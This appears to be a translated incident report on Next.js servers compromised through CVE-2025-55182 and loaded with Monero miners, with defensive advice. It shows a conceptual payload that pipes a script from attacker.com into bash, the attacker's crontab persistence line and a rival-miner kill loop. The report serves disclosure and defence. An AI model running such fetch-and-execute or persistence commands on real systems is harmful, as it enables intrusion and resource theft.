やったら動作比較慢,當我注意到 CPU 使用率已經達到 100% 時,才意識到問題的嚴重性。
這果然是...,但 PM2 的日誌讓我稍微鬆了一口氣。
之後,我將後續的處理交給了 Claude Code。
以下是備忘錄:
2025 年 12 月,運行的多個 Next.js 應用遭到網路攻擊,植入了加密貨幣礦工。這是在 CVE-2025-55182 公開後的第 2 天發生的。
備註:本文是基於事件調查報告,由 Claude Code 撰寫。
12/01 00:10 偵察攻擊開始(.git/config, .env 掃描)
12/01 04:14 .env 文件列舉攻擊(2,210 請求/2 秒)
12/03 CVE-2025-55182 公開
12/03-05 利用 CVE-2025-55182 的攻擊成功(推測)
12/05 15:17 惡意程式 #1 下載
12/05 19:39 惡意程式 #2 下載
12/10 09:37 系統重啟後,後門自動啟動
12/10 10:22 Monero 礦工啟動(CPU 使用率 281%)
12/10 11:27 被發現
這是一個存在於 Next.js 的 Server Actions 中的反序列化漏洞。
| 版本 | 修正版 |
|---|---|
| 15.3.0 - 15.3.5 | 15.3.6 |
| 15.4.0 - 15.4.7 | 15.4.8 |
| 15.5.0 - 15.5.6 | 15.5.7 |
| 16.0.0 - 16.0.6 | 16.0.7 |
在 Server Actions 中接收的表單數據解析過程中,對 React 元素的驗證不夠充分。
// 攻擊有效負載的概念
const maliciousPayload = {
"$$typeof": "Symbol(react.element)",
"type": {
"$$typeof": "Symbol(react.module.reference)",
"name": "child_process",
"method": "exec"
},
"props": {
"cmd": "curl http://attacker.com/malware.sh | bash"
}
};
這樣可以讓任意的 Shell 命令得以執行。
偵察行動從 CVE 公開的前 2 天就已經開始了。
GET /.git/config → 收集 Git 存儲庫資訊
GET /.env → 探索環境變數文件
GET /actuator/env → 探索 Spring Boot 設定
在 .env 文件的列舉攻擊中,2 秒內掃描了 2,210 種路徑。
/.env
/.env.local
/.env.production
/public/.env
/app/.env
/api/.env
...
由於 Next.js 不會將 .env 作為靜態文件公開,因此這次偵察實際上是失敗的。
利用 CVE-2025-55182 達成了 RCE。PM2 的錯誤日誌中留下了以下痕跡。
⨯ Error: Unexpected end of form
at ignore-listed frames { digest: '2025998549' }
這個錯誤是在執行 CVE-2025-55182 攻擊時發生的。
下載並執行了以下惡意程式。
| 文件 | 大小 | 目的 |
|---|---|---|
/tmp/nginx3 |
10.4MB | 後門(偽裝成 nginx) |
/tmp/https |
34.2MB | 礦工或機器人 |
~/.config/.system-monitor/.sys-mon |
14MB | 持久化後門 |
/tmp/fghgf |
2.8MB | Monero 礦工 |
watchdog |
8.6MB | XMRig 礦工 |
設定了 crontab 的 @reboot 以自動啟動。
@reboot nohup /home/user/.config/.system-monitor/.sys-mon > /dev/null 2>&1 &
後門被複製到多個位置。
~/.cache/dconf/.networkd-dispat
~/.local/share/systemd/.dbus-daemon
~/.local/share/gvfs-metadata/.accounts-daemon
這些都偽裝成正規的系統過程名稱。
也配置了刪除其他攻擊者惡意程式的腳本。
#!/bin/bash
while true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5|futureoftaste'; then
kill -9 "$pid"
fi
done
sleep 45
done
這個機制每 45 秒檢測並終止其他礦工,獨佔 CPU 資源。
系統重啟後,因為風扇聲音很大,所以查看了 htop。
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
17893 keppy 20 0 2.80G 268M 0 S 281.3 3.3 1h20:00 /tmp/fghgf
CPU 使用率 281% 的過程 /tmp/fghgf 是 Monero 礦工。
由於透過 RCE 侵入了伺服器內部,因此伺服器上(如 Supabase 鍵等)的認證資訊可能已被讀取。所有認證資訊均已進行輪換。
因為在 CVE 公開後放置了 2 天而遭到攻擊。
npm install [email protected] # 本應在 CVE 公開當天執行
若有阻擋 CVE-2025-55182 攻擊模式的 WAF 規則,可能會避免此次攻擊。
能夠檢測並阻止 2 秒內 2,210 次請求這種異常訪問。
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
PM2 的錯誤日誌中留下了攻擊的痕跡。如果有自動監控,可能能夠及時發現。
# Prometheus 警報示例
- alert: CVEExploitAttempt
expr: rate(nextjs_errors{message=~".*Unexpected end of form.*"}[1m]) > 0
labels:
severity: critical
Monero 礦工的預估收益:
一台無法盈利,但通過感染大量伺服器進行變現的商業模式。
作為參考,如遭遇類似的損害:
kill -9/tmp 路徑下的可疑文件crontab -l 確認並刪除持久化~/.config、~/.cache、~/.local 路徑下的可疑文件從 CVE 公開到遭受攻擊只用了 2 天。建議在確認漏洞資訊後盡早進行應對。
免責聲明:本文基於實際事件,但部分資訊已被更改。
撰寫:Claude Code
原文出處:https://qiita.com/KeppyNaushika/items/53936b0ef3f87104e398